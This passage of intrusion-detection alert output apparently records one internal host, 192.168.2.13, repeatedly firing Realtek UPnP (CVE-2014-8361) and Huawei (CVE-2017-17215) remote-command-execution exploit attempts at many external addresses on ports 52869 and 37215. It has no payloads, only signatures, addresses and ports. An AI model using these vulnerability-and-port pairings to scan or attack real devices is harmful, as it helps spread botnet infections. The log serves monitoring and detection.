Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 101.73.4.16

Timestamp:	07/20/24-23:05:51.881997
SID:	2027339
Source Port:	39196
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 172.192.106.73

Timestamp:	07/20/24-23:05:54.698605
SID:	2027339
Source Port:	44410
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.148.74.66

Timestamp:	07/20/24-23:05:52.264315
SID:	2829579
Source Port:	55410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 103.1.126.231

Timestamp:	07/20/24-23:05:46.444439
SID:	2025132
Source Port:	59768
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.120.22.24

Timestamp:	07/20/24-23:05:52.264315
SID:	2835222
Source Port:	53234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 100.11.251.147

Timestamp:	07/20/24-23:05:46.726134
SID:	2027339
Source Port:	42114
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.70.4.171

Timestamp:	07/20/24-23:05:47.535438
SID:	2835222
Source Port:	35682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.228.9.181

Timestamp:	07/20/24-23:05:46.966276
SID:	2835222
Source Port:	35614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.185.139.197

Timestamp:	07/20/24-23:05:52.269606
SID:	2829579
Source Port:	42604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.68.9.108

Timestamp:	07/20/24-23:05:46.978421
SID:	2829579
Source Port:	48812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.48.26.198

Timestamp:	07/20/24-23:05:52.227948
SID:	2829579
Source Port:	55188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.14.145.123

Timestamp:	07/20/24-23:05:52.199166
SID:	2829579
Source Port:	45046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 121.40.224.141

Timestamp:	07/20/24-23:05:51.420131
SID:	2027339
Source Port:	52426
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 43.120.167.78

Timestamp:	07/20/24-23:05:52.214852
SID:	2835222
Source Port:	37648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 83.121.211.25

Timestamp:	07/20/24-23:05:46.922963
SID:	2835222
Source Port:	46732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 144.242.91.152

Timestamp:	07/20/24-23:05:46.742396
SID:	2027339
Source Port:	38810
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 88.169.184.0

Timestamp:	07/20/24-23:05:51.426840
SID:	2831300
Source Port:	35202
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.53.221.243

Timestamp:	07/20/24-23:05:52.311537
SID:	2829579
Source Port:	35850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.234.141.118

Timestamp:	07/20/24-23:05:46.986114
SID:	2829579
Source Port:	47370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.93.134.229

Timestamp:	07/20/24-23:05:47.543163
SID:	2829579
Source Port:	39376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 172.192.106.73

Timestamp:	07/20/24-23:05:54.698605
SID:	2025132
Source Port:	44410
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.76.157.23

Timestamp:	07/20/24-23:05:47.535438
SID:	2829579
Source Port:	36192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.213.66.244

Timestamp:	07/20/24-23:05:52.269606
SID:	2835222
Source Port:	46154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 97.127.217.219

Timestamp:	07/20/24-23:05:51.431946
SID:	2831300
Source Port:	54984
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.139.123.50

Timestamp:	07/20/24-23:05:46.967760
SID:	2835222
Source Port:	50316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 81.130.219.80

Timestamp:	07/20/24-23:05:51.431946
SID:	2027339
Source Port:	38496
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.125.225.82

Timestamp:	07/20/24-23:05:52.311537
SID:	2835222
Source Port:	48574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.189.127.218

Timestamp:	07/20/24-23:05:46.919504
SID:	2835222
Source Port:	55892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.66.96.178

Timestamp:	07/20/24-23:05:46.971186
SID:	2835222
Source Port:	50980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 2.151.18.206

Timestamp:	07/20/24-23:05:51.441209
SID:	2027339
Source Port:	38238
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.169.205.203

Timestamp:	07/20/24-23:05:46.915618
SID:	2835222
Source Port:	44686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.19.102.202

Timestamp:	07/20/24-23:05:46.918113
SID:	2835222
Source Port:	51660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 144.242.91.152

Timestamp:	07/20/24-23:05:46.742396
SID:	2025132
Source Port:	38810
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.219.0.80

Timestamp:	07/20/24-23:05:46.970753
SID:	2835222
Source Port:	37154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.81.49.152

Timestamp:	07/20/24-23:05:52.256968
SID:	2829579
Source Port:	48944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 46.81.190.204

Timestamp:	07/20/24-23:05:51.426748
SID:	2027339
Source Port:	59352
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 41.147.69.9

Timestamp:	07/20/24-23:05:54.845549
SID:	2027339
Source Port:	46326
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 66.105.78.156

Timestamp:	07/20/24-23:05:51.431946
SID:	2027339
Source Port:	60584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 104.34.54.41

Timestamp:	07/20/24-23:05:51.426748
SID:	2831300
Source Port:	37412
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 187.150.149.148

Timestamp:	07/20/24-23:05:51.498918
SID:	2027339
Source Port:	52280
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.197.131.13

Timestamp:	07/20/24-23:05:52.311537
SID:	2829579
Source Port:	46240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 194.72.202.29

Timestamp:	07/20/24-23:05:47.480999
SID:	2025132
Source Port:	47722
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.106.71.120

Timestamp:	07/20/24-23:05:52.264315
SID:	2835222
Source Port:	34152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 116.152.21.19

Timestamp:	07/20/24-23:05:46.551067
SID:	2027339
Source Port:	49270
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.134.249.120

Timestamp:	07/20/24-23:05:46.912775
SID:	2829579
Source Port:	52282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.183.62.31

Timestamp:	07/20/24-23:05:52.311537
SID:	2829579
Source Port:	34018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.168.183.88

Timestamp:	07/20/24-23:05:52.218581
SID:	2829579
Source Port:	56660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 104.34.54.41

Timestamp:	07/20/24-23:05:47.524293
SID:	2025132
Source Port:	36832
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 85.61.71.33

Timestamp:	07/20/24-23:05:47.536680
SID:	2835222
Source Port:	44046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 93.187.137.171

Timestamp:	07/20/24-23:05:51.461470
SID:	2831300
Source Port:	43586
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.217.35.174

Timestamp:	07/20/24-23:05:52.311536
SID:	2829579
Source Port:	52402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 171.175.125.48

Timestamp:	07/20/24-23:05:46.457705
SID:	2027339
Source Port:	44108
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.22.217.152

Timestamp:	07/20/24-23:05:47.534459
SID:	2835222
Source Port:	33028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 105.176.207.17

Timestamp:	07/20/24-23:05:46.922963
SID:	2829579
Source Port:	41866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.1.73.107

Timestamp:	07/20/24-23:05:47.536680
SID:	2835222
Source Port:	39846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 41.147.69.9

Timestamp:	07/20/24-23:05:54.845549
SID:	2025132
Source Port:	46326
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 88.11.232.255

Timestamp:	07/20/24-23:05:46.976752
SID:	2835222
Source Port:	57550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 195.235.63.144

Timestamp:	07/20/24-23:05:47.416036
SID:	2027339
Source Port:	42512
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 187.232.79.235

Timestamp:	07/20/24-23:05:46.970753
SID:	2835222
Source Port:	60812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.248.203.139

Timestamp:	07/20/24-23:05:46.918113
SID:	2829579
Source Port:	44084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.132.76.6

Timestamp:	07/20/24-23:05:52.251312
SID:	2829579
Source Port:	44488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 196.191.7.200

Timestamp:	07/20/24-23:05:46.961659
SID:	2835222
Source Port:	49916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.163.226.171

Timestamp:	07/20/24-23:05:46.986114
SID:	2835222
Source Port:	54792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.44.153.97

Timestamp:	07/20/24-23:05:46.912774
SID:	2829579
Source Port:	40344
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.156.184.169

Timestamp:	07/20/24-23:05:46.923415
SID:	2829579
Source Port:	43046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 147.233.201.83

Timestamp:	07/20/24-23:05:46.971186
SID:	2829579
Source Port:	32784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 2.142.69.163

Timestamp:	07/20/24-23:05:56.976613
SID:	2025132
Source Port:	36600
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 194.72.202.29

Timestamp:	07/20/24-23:05:51.498918
SID:	2027339
Source Port:	48354
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 54.54.215.85

Timestamp:	07/20/24-23:05:46.042101
SID:	2025132
Source Port:	32862
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 31.167.100.157

Timestamp:	07/20/24-23:05:54.790047
SID:	2025132
Source Port:	50434
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.21.191.229

Timestamp:	07/20/24-23:05:52.256968
SID:	2829579
Source Port:	40700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.243.43.53

Timestamp:	07/20/24-23:05:46.973669
SID:	2835222
Source Port:	50186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.231.6.176

Timestamp:	07/20/24-23:05:47.533598
SID:	2835222
Source Port:	54002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 120.175.39.130

Timestamp:	07/20/24-23:05:56.914843
SID:	2027339
Source Port:	58694
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.233.21.101

Timestamp:	07/20/24-23:05:46.961659
SID:	2829579
Source Port:	34862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 137.166.47.229

Timestamp:	07/20/24-23:05:52.265126
SID:	2835222
Source Port:	56276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 173.121.154.127

Timestamp:	07/20/24-23:05:54.866274
SID:	2025132
Source Port:	58032
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 108.64.120.4

Timestamp:	07/20/24-23:05:46.926640
SID:	2835222
Source Port:	51454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 49.95.69.134

Timestamp:	07/20/24-23:05:51.419676
SID:	2831300
Source Port:	55300
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 195.235.63.144

Timestamp:	07/20/24-23:05:47.416036
SID:	2025132
Source Port:	42512
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 194.72.202.29

Timestamp:	07/20/24-23:05:51.498918
SID:	2831300
Source Port:	48354
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 124.62.99.179

Timestamp:	07/20/24-23:05:46.306652
SID:	2027339
Source Port:	49468
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 74.72.233.88

Timestamp:	07/20/24-23:05:46.798680
SID:	2025132
Source Port:	44984
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.9.111.213

Timestamp:	07/20/24-23:05:52.269606
SID:	2835222
Source Port:	41260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 73.245.214.213

Timestamp:	07/20/24-23:05:46.973669
SID:	2835222
Source Port:	33506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 213.65.11.119

Timestamp:	07/20/24-23:05:46.975762
SID:	2835222
Source Port:	45734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 4.63.192.169

Timestamp:	07/20/24-23:05:52.227948
SID:	2829579
Source Port:	42644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 142.17.9.107

Timestamp:	07/20/24-23:05:46.520261
SID:	2025132
Source Port:	36334
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 78.110.167.93

Timestamp:	07/20/24-23:05:47.478977
SID:	2027339
Source Port:	33656
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 177.34.128.116

Timestamp:	07/20/24-23:05:51.426748
SID:	2027339
Source Port:	45986
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 118.98.149.170

Timestamp:	07/20/24-23:05:54.762221
SID:	2025132
Source Port:	34280
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.89.181.63

Timestamp:	07/20/24-23:05:52.179209
SID:	2829579
Source Port:	48172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 177.34.128.116

Timestamp:	07/20/24-23:05:51.426748
SID:	2831300
Source Port:	45986
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.94.29.29

Timestamp:	07/20/24-23:05:46.926640
SID:	2835222
Source Port:	49298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.113.181.100

Timestamp:	07/20/24-23:05:46.971186
SID:	2829579
Source Port:	51172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 100.11.251.147

Timestamp:	07/20/24-23:05:51.418855
SID:	2831300
Source Port:	42828
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 79.90.210.218

Timestamp:	07/20/24-23:05:56.938108
SID:	2025132
Source Port:	60096
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 100.11.251.147

Timestamp:	07/20/24-23:05:51.418855
SID:	2027339
Source Port:	42828
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.60.209.210

Timestamp:	07/20/24-23:05:46.912775
SID:	2835222
Source Port:	50448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.116.62.195

Timestamp:	07/20/24-23:05:46.981572
SID:	2835222
Source Port:	52036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 31.167.100.157

Timestamp:	07/20/24-23:05:54.790047
